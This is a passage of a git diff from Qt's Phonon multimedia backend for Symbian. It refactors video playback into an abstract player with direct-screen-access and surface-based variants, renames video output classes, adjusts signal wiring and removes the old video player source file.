+        switch (m_videoOutput->scaleMode()) {
+        case Phonon::VideoWidget::ScaleAndCrop:
+            if (videoHeight < windowHeight) {
+                videoWidth *= windowToVideoHeightRatio;
+                videoHeight = windowHeight;
+            }
+            break;
+        case Phonon::VideoWidget::FitInView:
+        default:
+            if (videoHeight > windowHeight) {
+                videoWidth *= windowToVideoHeightRatio;
+                videoHeight = windowHeight;
+            }
+            break;
+        }
+
+        // Calculate scale factors
+        m_scaleWidth = 100.0f * videoWidth / m_videoFrameSize.width();
+        m_scaleHeight = 100.0f * videoHeight / m_videoFrameSize.height();
+
+        if (apply)
+            parametersChanged(ScaleFactors);
+    }
+}
+
+void MMF::AbstractVideoPlayer::parametersChanged(VideoParameters parameters)
+{
+    if (state() == LoadingState)
+        m_pendingChanges |= parameters;
+    else
+        handleParametersChanged(parameters);
+}
+
+void MMF::AbstractVideoPlayer::handlePendingParametersChanged()
+{
+    if (m_pendingChanges)
+        handleParametersChanged(m_pendingChanges);
+    m_pendingChanges = 0;
+}
+
+
+//-----------------------------------------------------------------------------
+// Metadata
+//-----------------------------------------------------------------------------
+
+int MMF::AbstractVideoPlayer::numberOfMetaDataEntries() const
+{
+    int numberOfEntries = 0;
+    TRAP_IGNORE(numberOfEntries = m_player->NumberOfMetaDataEntriesL());
+    return numberOfEntries;
+}
+
+QPair<QString, QString> MMF::AbstractVideoPlayer::metaDataEntry(int index) const
+{
+    CMMFMetaDataEntry *entry = 0;
+    QT_TRAP_THROWING(entry = m_player->MetaDataEntryL(index));
+    return QPair<QString, QString>(qt_TDesC2QString(entry->Name()), qt_TDesC2QString(entry->Value()));
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/3rdparty/phonon/mmf/abstractvideoplayer.h b/src/3rdparty/phonon/mmf/abstractvideoplayer.h
new file mode 100644
index 0000000..d854793
--- /dev/null
+++ b/src/3rdparty/phonon/mmf/abstractvideoplayer.h
@@ -0,0 +1,171 @@
+/*  This file is part of the KDE project.
+
+Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
+
+This library is free software: you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation, either version 2.1 or 3 of the License.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with this library.  If not, see <http://www.gnu.org/licenses/>.
+
+*/
+
+#ifndef PHONON_MMF_ABSTRACTVIDEOPLAYER_H
+#define PHONON_MMF_ABSTRACTVIDEOPLAYER_H
+
+#include <videoplayer.h> // from epoc32/include
+
+#include <QSize>
+
+#include "abstractmediaplayer.h"
+#include "abstractvideooutput.h"
+#include "defs.h"
+
+QT_BEGIN_NAMESPACE
+
+namespace Phonon
+{
+namespace MMF
+{
+/**
+ * @short ABC for classes which wrap the MMF video player utility
+ *
+ * On devices which use the legacy graphics subsystem which does not
+ * support surfaces, video rendering is done via Direct Screen Access using
+ * the CVideoPlayerUtility API.  On devices with a graphics subsystem which
+ * does support surfaces, video rendering is done using the
+ * CVideoPlayerUtility2 API.  Because CVideoPlayerUtility2 inherits from
+ * CVideoPlayerUtility, AbstractVideoPlayer holds a pointer to the latter.
+ *
+ * @see DsaVideoPlayer, SurfaceVideoPlayer
+ */
+class AbstractVideoPlayer
+    :   public AbstractMediaPlayer
+    ,   public MVideoPlayerUtilityObserver
+    ,   public MVideoLoadingObserver
+{
+    Q_OBJECT
+
+public:
+    ~AbstractVideoPlayer();
+
+    typedef CVideoPlayerUtility NativePlayer;
+    NativePlayer *nativePlayer() const;
+
+    // AbstractPlayer
+    virtual void doPlay();
+    virtual void doPause();
+    virtual void doStop();
+    virtual void doSeek(qint64 milliseconds);
+    virtual int setDeviceVolume(int mmfVolume);
+    virtual int openFile(RFile &file);
+    virtual int openUrl(const QString &url);
+    virtual int bufferStatus() const;
+    virtual void close();
+
+    // MediaObjectInterface
+    virtual bool hasVideo() const;
+    virtual qint64 currentTime() const;
+    virtual qint64 totalTime() const;
+
+    // AbstractPlayer
+    virtual void videoOutputChanged();
+
+    // AbstractMediaPlayer
+    virtual int numberOfMetaDataEntries() const;
+    virtual QPair<QString, QString> metaDataEntry(int index) const;
+
+public Q_SLOTS:
+    void videoWindowChanged();
+    void aspectRatioChanged();
+    void scaleModeChanged();
+
+protected:
+    AbstractVideoPlayer(MediaObject *parent, const AbstractPlayer *player);
+    void construct();
+    virtual void initVideoOutput();
+    void updateScaleFactors(const QSize &windowSize, bool apply = true);
+
+    // Called when a video parameter changes.  If the underlying native API is
+    // ready to handle the change, it is propagated immediately, otherwise the
+    // change is recorded in m_pendingChanged and handled later by
+    // handlePendingParametersChanged().
+    void parametersChanged(VideoParameters parameter);
+
+    // Implementation must initialize the m_player pointer.
+    virtual void createPlayer() = 0;
+
+    // Called from the MvpuoPrepareComplete callback.  Allows derived class to
+    // calculate clipping rectangles and scale factors prior to starting
+    // playback.
+    virtual void prepareCompleted() = 0;
+
+    // Called when native video window handle changes.  Derived class may defer
+    // propagation of this change to the MMF video player utility by calling
+    // parametersChanged().
+    virtual void handleVideoWindowChanged() = 0;
+
+    // Called when the derived class must handle changes which have been made
+    // to video parameters such as window handle, screen rectangle and scale
+    // factors.  Guaranteed to be called only when the underlying MMF video
+    // player object is ready to handle changes to these parameters.
+    virtual void handleParametersChanged(VideoParameters parameters) = 0;
+
+private:
+    void getVideoClipParametersL(TInt aError);
+
+    // Called when native player API enters a state in which it is able to
+    // handle pending changes such as new video window handle, updated scale
+    // factors etc.
+    void handlePendingParametersChanged();
+
+private:
+    // MVideoPlayerUtilityObserver
+    virtual void MvpuoOpenComplete(TInt aError);
+    virtual void MvpuoPrepareComplete(TInt aError);
+    virtual void MvpuoFrameReady(CFbsBitmap &aFrame, TInt aError);
+    virtual void MvpuoPlayComplete(TInt aError);
+    virtual void MvpuoEvent(const TMMFEvent &aEvent);
+
+    // MVideoLoadingObserver
+    virtual void MvloLoadingStarted();
+    virtual void MvloLoadingComplete();
+
+protected:
+    QScopedPointer<NativePlayer>        m_player;
+
+    // Not owned
+    RWsSession&                         m_wsSession;
+    CWsScreenDevice&                    m_screenDevice;
+    RWindowBase*                        m_window;
+
+    // Scaling factors for video display, expressed as percentages
+    TReal32                             m_scaleWidth;
+    TReal32                             m_scaleHeight;
+
+    // Dimensions of the video clip
+    QSize                               m_videoFrameSize;
+
+private:
+    // Bitmask of parameters which have changed while the MMF video player
+    // object is not yet ready to receive these changes.
+    // See handlePendingParametersChanged().
+    VideoParameters                     m_pendingChanges;
+
+    // Duration of the video clip
+    qint64                              m_totalTime;
+
+};
+
+}
+}
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/src/3rdparty/phonon/mmf/ancestormovemonitor.cpp b/src/3rdparty/phonon/mmf/ancestormovemonitor.cpp
index 18ced94..f0d1be2 100644
--- a/src/3rdparty/phonon/mmf/ancestormovemonitor.cpp
+++ b/src/3rdparty/phonon/mmf/ancestormovemonitor.cpp
@@ -18,7 +18,8 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 
 #include "ancestormovemonitor.h"
 #include "utils.h"
-#include "videooutput.h"
+
+#include "videooutput_dsa.h"
 
 #include <QCoreApplication>
 
@@ -59,7 +60,7 @@ AncestorMoveMonitor::~AncestorMoveMonitor()
 // Public functions
 //-----------------------------------------------------------------------------
 
-void AncestorMoveMonitor::registerTarget(VideoOutput *target)
+void AncestorMoveMonitor::registerTarget(DsaVideoOutput *target)
 {
     TRACE_CONTEXT(AncestorMoveMonitor::registerTarget, EVideoInternal);
     TRACE_ENTRY("target 0x%08x", target);
@@ -93,7 +94,7 @@ void AncestorMoveMonitor::registerTarget(VideoOutput *target)
     TRACE_EXIT_0();
 }
 
-void AncestorMoveMonitor::unRegisterTarget(VideoOutput *target)
+void AncestorMoveMonitor::unRegisterTarget(DsaVideoOutput *target)
 {
     TRACE_CONTEXT(AncestorMoveMonitor::unRegisterTarget, EVideoInternal);
     TRACE_ENTRY("target 0x%08x", target);
@@ -126,7 +127,7 @@ bool AncestorMoveMonitor::eventFilter(QObject *watched, QEvent *event)
         const Hash::const_iterator it = m_hash.find(watched);
         if(it != m_hash.end()) {
             const TargetList& targetList = it.value();
-            VideoOutput* target = 0;
+            DsaVideoOutput* target = 0;
             foreach(target, targetList) {
                 switch (event->type()) {
 
@@ -166,7 +167,7 @@ void AncestorMoveMonitor::dump()
         const QObject *ancestor = it.key();
         TRACE("ancestor 0x%08x", ancestor);
         const TargetList& targetList = it.value();
-        VideoOutput* target = 0;
+        DsaVideoOutput* target = 0;
         foreach(target, targetList) {
             TRACE("    target 0x%08x", target);
         }
@@ -174,7 +175,5 @@ void AncestorMoveMonitor::dump()
 #endif
 }
 
-
-
 QT_END_NAMESPACE
 
diff --git a/src/3rdparty/phonon/mmf/ancestormovemonitor.h b/src/3rdparty/phonon/mmf/ancestormovemonitor.h
index 0e681aa..f3a022d 100644
--- a/src/3rdparty/phonon/mmf/ancestormovemonitor.h
+++ b/src/3rdparty/phonon/mmf/ancestormovemonitor.h
@@ -29,7 +29,7 @@ namespace Phonon
 {
 namespace MMF
 {
-class VideoOutput;
+class DsaVideoOutput;
 
 class AncestorMoveMonitor : public QObject
 {
@@ -49,7 +49,7 @@ public:
      * ancestor list to be updated - therefore it should be called when
      * the target receives a ParentChange event.
      */
-    void registerTarget(VideoOutput *target);
+    void registerTarget(DsaVideoOutput *target);
 
     /**
      * Remove target from the monitor.
@@ -57,7 +57,7 @@ public:
      * The target will no longer receive notification when move events are
      * delivered to its ancestors.
      */
-    void unRegisterTarget(VideoOutput *target);
+    void unRegisterTarget(DsaVideoOutput *target);
 
 protected:
     /**
@@ -77,7 +77,7 @@ private:
      * therefore a set, however we use QList rather than QSet for
      * efficiency of iteration.
      */
-    typedef QList<VideoOutput *> TargetList;
+    typedef QList<DsaVideoOutput *> TargetList;
 
     /**
      * Map from widget on which the move event occurs, to widgets which
@@ -92,4 +92,4 @@ private:
 
 QT_END_NAMESPACE
 
-#endif
+#endif // !PHONON_MMF_ANCESTORMOVEMONITOR_H
diff --git a/src/3rdparty/phonon/mmf/audioplayer.cpp b/src/3rdparty/phonon/mmf/audioplayer.cpp
index ee07229..77a0964 100644
--- a/src/3rdparty/phonon/mmf/audioplayer.cpp
+++ b/src/3rdparty/phonon/mmf/audioplayer.cpp
@@ -203,12 +203,10 @@ void MMF::AudioPlayer::MapcInitComplete(TInt aError,
         maxVolumeChanged(m_player->MaxVolume());
         m_totalTime = toMilliSeconds(m_player->Duration());
         emit totalTimeChanged(m_totalTime);
-        updateMetaData();
-        changeState(StoppedState);
-    } else {
-        setError(tr("Opening clip failed"), aError);
     }
 
+    loadingComplete(aError);
+
     TRACE_EXIT_0();
 }
 
diff --git a/src/3rdparty/phonon/mmf/backend.cpp b/src/3rdparty/phonon/mmf/backend.cpp
index 3568a49..2cec43b 100644
--- a/src/3rdparty/phonon/mmf/backend.cpp
+++ b/src/3rdparty/phonon/mmf/backend.cpp
@@ -24,7 +24,6 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 #include <apmstd.h> // for TDataType
 
 #include "abstractaudioeffect.h"
-#include "ancestormovemonitor.h"
 #include "audiooutput.h"
 #include "audioplayer.h"
 #include "backend.h"
@@ -44,7 +43,9 @@ using namespace Phonon::MMF;
 
 Backend::Backend(QObject *parent)
     : QObject(parent)
+#ifndef PHONON_MMF_VIDEO_SURFACES
     , m_ancestorMoveMonitor(new AncestorMoveMonitor(this))
+#endif
     , m_effectFactory(new EffectFactory(this))
 {
     TRACE_CONTEXT(Backend::Backend, EBackend);
@@ -86,8 +87,15 @@ QObject *Backend::createObject(BackendInterface::Class c, QObject *parent, const
             static_cast<EffectFactory::Type>(args.first().toInt());
         return m_effectFactory->createAudioEffect(type, parent);
     }
+
     case VideoWidgetClass:
-        result = new VideoWidget(m_ancestorMoveMonitor.data(), qobject_cast<QWidget *>(parent));
+    {
+        VideoWidget *widget = new VideoWidget(qobject_cast<QWidget *>(parent));
+#ifndef PHONON_MMF_VIDEO_SURFACES
+        widget->setAncestorMoveMonitor(m_ancestorMoveMonitor.data());
+#endif
+        result = widget;
+    }
         break;
 
     default:
diff --git a/src/3rdparty/phonon/mmf/backend.h b/src/3rdparty/phonon/mmf/backend.h
index 9361544..a45c92a 100644
--- a/src/3rdparty/phonon/mmf/backend.h
+++ b/src/3rdparty/phonon/mmf/backend.h
@@ -19,7 +19,10 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 #ifndef PHONON_MMF_BACKEND_H
 #define PHONON_MMF_BACKEND_H
 
+#ifndef PHONON_MMF_VIDEO_SURFACES
 #include "ancestormovemonitor.h"
+#endif
+
 #include "effectfactory.h"
 
 #include <phonon/mediasource.h>
@@ -53,7 +56,9 @@ Q_SIGNALS:
     void objectDescriptionChanged(ObjectDescriptionType);
 
 private:
+#ifndef PHONON_MMF_VIDEO_SURFACES
     QScopedPointer<AncestorMoveMonitor> m_ancestorMoveMonitor;
+#endif
     QScopedPointer<EffectFactory>       m_effectFactory;
 
 };
diff --git a/src/3rdparty/phonon/mmf/defs.h b/src/3rdparty/phonon/mmf/defs.h
index 1a93aa9..1ed8250 100644
--- a/src/3rdparty/phonon/mmf/defs.h
+++ b/src/3rdparty/phonon/mmf/defs.h
@@ -35,6 +35,15 @@ enum MediaType {
     MediaTypeAudio,
     MediaTypeVideo
 };
+
+enum VideoParameter {
+    WindowHandle        = 0x1,
+    WindowScreenRect    = 0x2,
+    ScaleFactors        = 0x4
+};
+Q_DECLARE_FLAGS(VideoParameters, VideoParameter)
+Q_DECLARE_OPERATORS_FOR_FLAGS(VideoParameters)
+
 }
 }
 
diff --git a/src/3rdparty/phonon/mmf/mediaobject.cpp b/src/3rdparty/phonon/mmf/mediaobject.cpp
index 9744774..e1b921b 100644
--- a/src/3rdparty/phonon/mmf/mediaobject.cpp
+++ b/src/3rdparty/phonon/mmf/mediaobject.cpp
@@ -22,7 +22,13 @@ along with this library.  If not, see <http://www.gnu.org/licenses/>.
 #include "dummyplayer.h"
 #include "utils.h"
 #include "utils.h"
-#include "mmf_videoplayer.h"
+
+#ifdef PHONON_MMF_VIDEO_SURFACES
+#include "videoplayer_surface.h"
+#else
+#include "videoplayer_dsa.h"
+#endif
+
 #include "videowidget.h"
 
 #include "mediaobject.h"
@@ -293,7 +299,11 @@ void MMF::MediaObject::createPlayer(const MediaSource &source)
         break;
 
     case MediaTypeVideo:
-        newPlayer = new VideoPlayer(this, oldPlayer);
+#ifdef PHONON_MMF_VIDEO_SURFACES
+        newPlayer = SurfaceVideoPlayer::create(this, oldPlayer);
+#else
+        newPlayer = DsaVideoPlayer::create(this, oldPlayer);
+#endif
         break;
     }
 
@@ -313,11 +323,12 @@ void MMF::MediaObject::createPlayer(const MediaSource &source)
     connect(m_player.data(), SIGNAL(totalTimeChanged(qint64)), SIGNAL(totalTimeChanged(qint64)));
     connect(m_player.data(), SIGNAL(stateChanged(Phonon::State,Phonon::State)), SIGNAL(stateChanged(Phonon::State,Phonon::State)));
     connect(m_player.data(), SIGNAL(finished()), SIGNAL(finished()));
-    connect(m_player.data(), SIGNAL(tick(qint64)), SIGNAL(tick(qint64)));
     connect(m_player.data(), SIGNAL(bufferStatus(int)), SIGNAL(bufferStatus(int)));
     connect(m_player.data(), SIGNAL(metaDataChanged(QMultiMap<QString,QString>)), SIGNAL(metaDataChanged(QMultiMap<QString,QString>)));
     connect(m_player.data(), SIGNAL(aboutToFinish()), SIGNAL(aboutToFinish()));
-    connect(m_player.data(), SIGNAL(prefinishMarkReached(qint32)), SIGNAL(tick(qint32)));
+    connect(m_player.data(), SIGNAL(prefinishMarkReached(qint32)), SIGNAL(prefinishMarkReached(qint32)));
+    connect(m_player.data(), SIGNAL(prefinishMarkReached(qint32)), SLOT(handlePrefinishMarkReached(qint32)));
+    connect(m_player.data(), SIGNAL(tick(qint64)), SIGNAL(tick(qint64)));
 
     // We need to call setError() after doing the connects, otherwise the
     // error won't be received.
@@ -383,7 +394,7 @@ void MMF::MediaObject::disconnectMediaObject(MediaObject * /*mediaObject*/)
 // Video output
 //-----------------------------------------------------------------------------
 
-void MMF::MediaObject::setVideoOutput(VideoOutput* videoOutput)
+void MMF::MediaObject::setVideoOutput(AbstractVideoOutput* videoOutput)
 {
     m_player->setVideoOutput(videoOutput);
 }
@@ -404,8 +415,20 @@ void MMF::MediaObject::switchToNextSource()
         m_nextSourceSet = false;
         switchToSource(m_nextSource);
         play();
+    } else {
+        emit finished();
     }
 }
 
+//-----------------------------------------------------------------------------
+// Other private functions
+//-----------------------------------------------------------------------------
+
+void MMF::MediaObject::handlePrefinishMarkReached(qint32 time)
+{
+    emit tick(time);
+}
+
+
 QT_END_NAMESPACE
 
diff --git a/src/3rdparty/phonon/mmf/mediaobject.h b/src/3rdparty/phonon/mmf/mediaobject.h
index d6248e2..f15eb21 100644
--- a/src/3rdparty/phonon/mmf/mediaobject.h
+++ b/src/3rdparty/phonon/mmf/mediaobject.h
@@ -38,7 +38,7 @@ namespace Phonon
 namespace MMF
 {
 class AbstractPlayer;
-class VideoOutput;
+class AbstractVideoOutput;
 
 /**
  * @short Facade class which wraps MMF client utility instance
@@ -85,7 +85,7 @@ public:
      */
     AbstractPlayer *abstractPlayer() const;
 
-    void setVideoOutput(VideoOutput* videoOutput);
+    void setVideoOutput(AbstractVideoOutput* videoOutput);
 
 public Q_SLOTS:
     void volumeChanged(qreal volume);
@@ -107,6 +107,9 @@ Q_SIGNALS:
     void finished();
     void tick(qint64 time);
 
+private Q_SLOTS:
+    void handlePrefinishMarkReached(qint32);
+
 private:
     void switchToSource(const MediaSource &source);
     void createPlayer(const MediaSource &source);
diff --git a/src/3rdparty/phonon/mmf/mmf_videoplayer.cpp b/src/3rdparty/phonon/mmf/mmf_videoplayer.cpp
deleted file mode 100644
index 127edb4..0000000
--- a/src/3rdparty/phonon/mmf/mmf_videoplayer.cpp
+++ /dev/null
@@ -1,658 +0,0 @@
-/*  This file is part of the KDE project.
-
-Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
-
-This library is free software: you can redistribute it and/or modify
-it under the terms of the GNU Lesser General Public License as published by
-the Free Software Foundation, either version 2.1 or 3 of the License.
-
-This library is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-GNU Lesser General Public License for more details.
-
-You should have received a copy of the GNU Lesser General Public License
-along with this library.  If not, see <http://www.gnu.org/licenses/>.
-
-*/
-
-#include <QApplication>    // for QApplication::activeWindow
-#include <QUrl>
-#include <QTimer>
-#include <QWidget>
-
-#include <coemain.h>    // for CCoeEnv
-#include <coecntrl.h>
-
-#include "mmf_videoplayer.h"
-#include "utils.h"
-
-#ifndef QT_NO_DEBUG
-#include "objectdump.h"
-#endif
-
-QT_BEGIN_NAMESPACE
-
-using namespace Phonon;
-using namespace Phonon::MMF;
-
-/*! \class MMF::VideoPlayer
-  \internal
-*/
-
-//-----------------------------------------------------------------------------
-// Constructor / destructor
-//-----------------------------------------------------------------------------
-
-MMF::VideoPlayer::VideoPlayer(MediaObject *parent, const AbstractPlayer *player)
-        :   AbstractMediaPlayer(parent, player)
-        ,   m_wsSession(CCoeEnv::Static()->WsSession())
-        ,   m_screenDevice(*CCoeEnv::Static()->ScreenDevice())
-        ,   m_window(0)
-        ,   m_totalTime(0)
-        ,   m_pendingChanges(false)
-        ,   m_dsaActive(false)
-{
-    construct();
-}
-
-void MMF::VideoPlayer::construct()
-{
-    TRACE_CONTEXT(VideoPlayer::VideoPlayer, EVideoApi);
-    TRACE_ENTRY_0();
-
-    getVideoWindow();
-
-    const TInt priority = 0;
-    const TMdaPriorityPreference preference = EMdaPriorityPreferenceNone;
-
-    CVideoPlayerUtility *player = 0;
-    QT_TRAP_THROWING(player = CVideoPlayerUtility::NewL
-            (
-                 *this,
-                 priority, preference,
-                 m_wsSession, m_screenDevice,
-                 *m_window,
-                 m_videoRect, m_videoRect
-            )
-        );
-    m_player.reset(player);
-
-    // CVideoPlayerUtility::NewL starts DSA
-    m_dsaActive = true;
-
-    m_player->RegisterForVideoLoadingNotification(*this);
-
-    TRACE_EXIT_0();
-}
-
-MMF::VideoPlayer::~VideoPlayer()
-{
-    TRACE_CONTEXT(VideoPlayer::~VideoPlayer, EVideoApi);
-    TRACE_ENTRY_0();
-
-    // QObject destructor removes all signal-slot connections involving this
-    // object, so we do not need to disconnect from m_videoOutput here.
-
-    TRACE_EXIT_0();
-}
-
-CVideoPlayerUtility* MMF::VideoPlayer::nativePlayer() const
-{
-    return m_player.data();
-}
-
-//-----------------------------------------------------------------------------
-// Public API
-//-----------------------------------------------------------------------------
-
-void MMF::VideoPlayer::doPlay()
-{
-    TRACE_CONTEXT(VideoPlayer::doPlay, EVideoApi);
-
-    applyPendingChanges();
-
-    m_player->Play();
-}
-
-void MMF::VideoPlayer::doPause()
-{
-    TRACE_CONTEXT(VideoPlayer::doPause, EVideoApi);
-
-    TRAPD(err, m_player->PauseL());
-    if (KErrNone != err && state() != ErrorState) {
-        TRACE("PauseL error %d", err);
-        setError(tr("Pause failed"), err);
-    }
-}
-
-void MMF::VideoPlayer::doStop()
-{
-    m_player->Stop();
-}
-
-void MMF::VideoPlayer::doSeek(qint64 ms)
-{
-    TRACE_CONTEXT(VideoPlayer::doSeek, EVideoApi);
-
-    TRAPD(err, m_player->SetPositionL(TTimeIntervalMicroSeconds(ms * 1000)));
-
-    if(KErrNone != err)
-        setError(tr("Seek failed"), err);
-}
-
-int MMF::VideoPlayer::setDeviceVolume(int mmfVolume)
-{
-    TRAPD(err, m_player->SetVolumeL(mmfVolume));
-    return err;
-}
-
-int MMF::VideoPlayer::openFile(RFile& file)
-{
-    TRAPD(err, m_player->OpenFileL(file));
-    return err;
-}
-
-int MMF::VideoPlayer::openUrl(const QString& url)
-{
-    TRAPD(err, m_player->OpenUrlL(qt_QString2TPtrC(url)));
-    return err;
-}
-
-int MMF::VideoPlayer::bufferStatus() const
-{
-    int result = 0;
-    TRAP_IGNORE(m_player->GetVideoLoadingProgressL(result));
-    return result;
-}
-
-void MMF::VideoPlayer::close()
-{
-    m_player->Close();
-}
-
-bool MMF::VideoPlayer::hasVideo() const
-{
-    return true;
-}
-
-qint64 MMF::VideoPlayer::currentTime() const
-{
-    TRACE_CONTEXT(VideoPlayer::currentTime, EVideoApi);
-
-    TTimeIntervalMicroSeconds us;
-    TRAPD(err, us = m_player->PositionL())
-
-    qint64 result = 0;
-
-    if (KErrNone == err) {
-        result = toMilliSeconds(us);
-    } else {
-        TRACE("PositionL error %d", err);
-
-        // If we don't cast away constness here, we simply have to ignore
-        // the error.
-        const_cast<VideoPlayer*>(this)->setError(tr("Getting position failed"), err);
-    }
-
-    return result;
-}
-
-qint64 MMF::VideoPlayer::totalTime() const
-{
-    return m_totalTime;
-}
-
-
-//-----------------------------------------------------------------------------
-// MVideoPlayerUtilityObserver callbacks
-//-----------------------------------------------------------------------------
-
-void MMF::VideoPlayer::MvpuoOpenComplete(TInt aError)
-{
-    TRACE_CONTEXT(VideoPlayer::MvpuoOpenComplete, EVideoApi);
-    TRACE_ENTRY("state %d error %d", state(), aError);
-
-    __ASSERT_ALWAYS(LoadingState == state(), Utils::panic(InvalidStatePanic));
-
-    if (KErrNone == aError)
-        m_player->Prepare();
-    else
-        setError(tr("Opening clip failed"), aError);
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::MvpuoPrepareComplete(TInt aError)
-{
-    TRACE_CONTEXT(VideoPlayer::MvpuoPrepareComplete, EVideoApi);
-    TRACE_ENTRY("state %d error %d", state(), aError);
-
-    __ASSERT_ALWAYS(LoadingState == state(), Utils::panic(InvalidStatePanic));
-
-    TRAPD(err, doPrepareCompleteL(aError));
-
-    if (KErrNone == err) {
-        maxVolumeChanged(m_player->MaxVolume());
-
-        if (m_videoOutput)
-            m_videoOutput->setVideoSize(m_videoFrameSize);
-
-        updateVideoRect();
-        applyPendingChanges();
-
-        emit totalTimeChanged(totalTime());
-        changeState(StoppedState);
-    } else {
-        setError(tr("Buffering clip failed"), err);
-    }
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::doPrepareCompleteL(TInt aError)
-{
-    User::LeaveIfError(aError);
-
-    // Get frame size
-    TSize size;
-    m_player->VideoFrameSizeL(size);
-    m_videoFrameSize = QSize(size.iWidth, size.iHeight);
-
-    // Get duration
-    m_totalTime = toMilliSeconds(m_player->DurationL());
-}
-
-
-void MMF::VideoPlayer::MvpuoFrameReady(CFbsBitmap &aFrame, TInt aError)
-{
-    TRACE_CONTEXT(VideoPlayer::MvpuoFrameReady, EVideoApi);
-    TRACE_ENTRY("state %d error %d", state(), aError);
-
-    Q_UNUSED(aFrame);
-    Q_UNUSED(aError);   // suppress warnings in release builds
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::MvpuoPlayComplete(TInt aError)
-{
-    TRACE_CONTEXT(VideoPlayer::MvpuoPlayComplete, EVideoApi)
-    TRACE_ENTRY("state %d error %d", state(), aError);
-
-    // Call base class function which handles end of playback for both
-    // audio and video clips.
-    playbackComplete(aError);
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::MvpuoEvent(const TMMFEvent &aEvent)
-{
-    TRACE_CONTEXT(VideoPlayer::MvpuoEvent, EVideoApi);
-    TRACE_ENTRY("state %d", state());
-
-    Q_UNUSED(aEvent);
-
-    TRACE_EXIT_0();
-}
-
-
-//-----------------------------------------------------------------------------
-// MVideoLoadingObserver callbacks
-//-----------------------------------------------------------------------------
-
-void MMF::VideoPlayer::MvloLoadingStarted()
-{
-    bufferingStarted();
-}
-
-void MMF::VideoPlayer::MvloLoadingComplete()
-{
-    bufferingComplete();
-}
-
-
-//-----------------------------------------------------------------------------
-// Video window updates
-//-----------------------------------------------------------------------------
-
-void MMF::VideoPlayer::getVideoWindow()
-{
-    TRACE_CONTEXT(VideoPlayer::getVideoWindow, EVideoInternal);
-    TRACE_ENTRY_0();
-
-    if(m_videoOutput) {
-        // Dump information to log, only in debug builds
-        m_videoOutput->dump();
-
-        initVideoOutput();
-        videoWindowChanged();
-    } else
-        // Top-level window
-        m_window = QApplication::activeWindow()->effectiveWinId()->DrawableWindow();
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::videoOutputChanged()
-{
-    TRACE_CONTEXT(VideoPlayer::videoOutputChanged, EVideoInternal);
-    TRACE_ENTRY_0();
-
-    if (m_videoOutput) {
-        initVideoOutput();
-        videoWindowChanged();
-    }
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::initVideoOutput()
-{
-    m_videoOutput->winId();
-    m_videoOutput->setVideoSize(m_videoFrameSize);
-
-    bool connected = connect(
-        m_videoOutput, SIGNAL(videoWindowChanged()),
-        this, SLOT(videoWindowChanged())
-    );
-    Q_ASSERT(connected);
-
-    connected = connect(
-        m_videoOutput, SIGNAL(beginVideoWindowNativePaint()),
-        this, SLOT(suspendDirectScreenAccess())
-    );
-    Q_ASSERT(connected);
-
-    connected = connect(
-        m_videoOutput, SIGNAL(endVideoWindowNativePaint()),
-        this, SLOT(resumeDirectScreenAccess())
-    );
-    Q_ASSERT(connected);
-
-    connected = connect(
-        m_videoOutput, SIGNAL(aspectRatioChanged()),
-        this, SLOT(aspectRatioChanged())
-    );
-    Q_ASSERT(connected);
-
-    connected = connect(
-        m_videoOutput, SIGNAL(scaleModeChanged()),
-        this, SLOT(scaleModeChanged())
-    );
-    Q_ASSERT(connected);
-
-    // Suppress warnings in release builds
-    Q_UNUSED(connected);
-}
-
-void MMF::VideoPlayer::videoWindowChanged()
-{
-    TRACE_CONTEXT(VideoPlayer::videoOutputRegionChanged, EVideoInternal);
-    TRACE_ENTRY("state %d", state());
-
-    m_window = m_videoOutput->videoWindow();
-    updateVideoRect();
-
-    TRACE_EXIT_0();
-}
-
-void MMF::VideoPlayer::suspendDirectScreenAccess()
-{
-    m_dsaWasActive = stopDirectScreenAccess();
-}
-
-void MMF::VideoPlayer::resumeDirectScreenAccess()
-{
-    if(m_dsaWasActive) {
-        startDirectScreenAccess();
-        m_dsaWasActive = false;
-    }
-}
-
-void MMF::VideoPlayer::startDirectScreenAccess()
-{
-    if(!m_dsaActive) {
-        TRAPD(err, m_player->StartDirectScreenAccessL());
-        if(KErrNone == err)
-            m_dsaActive = true;
-        else
-            setError(tr("Video display error"), err);
-    }
-}
-
-bool MMF::VideoPlayer::stopDirectScreenAccess()
-{
-    const bool dsaWasActive = m_dsaActive;
-    if(m_dsaActive) {
-        TRAPD(err, m_player->StopDirectScreenAccessL());
-        if(KErrNone == err)
-            m_dsaActive = false;
-        else
-            setError(tr("Video display error"), err);
-    }
-    return dsaWasActive;
-}
-
-// Helper function for aspect ratio / scale mode handling
-QSize scaleToAspect(const QSize& srcRect, int aspectWidth, int aspectHeight)
-{
-    const qreal aspectRatio = qreal(aspectWidth) / aspectHeight;
-
-    int width = srcRect.width();
-    int height = srcRect.width() / aspectRatio;
-    if (height > srcRect.height()){
-        height = srcRect.height();
-        width = srcRect.height() * aspectRatio;
-    }
-    return QSize(width, height);
-}
-
-void MMF::VideoPlayer::updateVideoRect()
-{
-    QRect videoRect;
-    QRect windowRect = m_videoOutput->videoWindowRect();
-
-    // Clip to physical window size
-    // This is due to a defect in the layout when running on S60 3.2, which
-    // results in the rectangle of the video widget extending outside the
-    // screen in certain circumstances.  These include the initial startup
-    // of the mediaplayer demo in portrait mode.  When this rectangle is
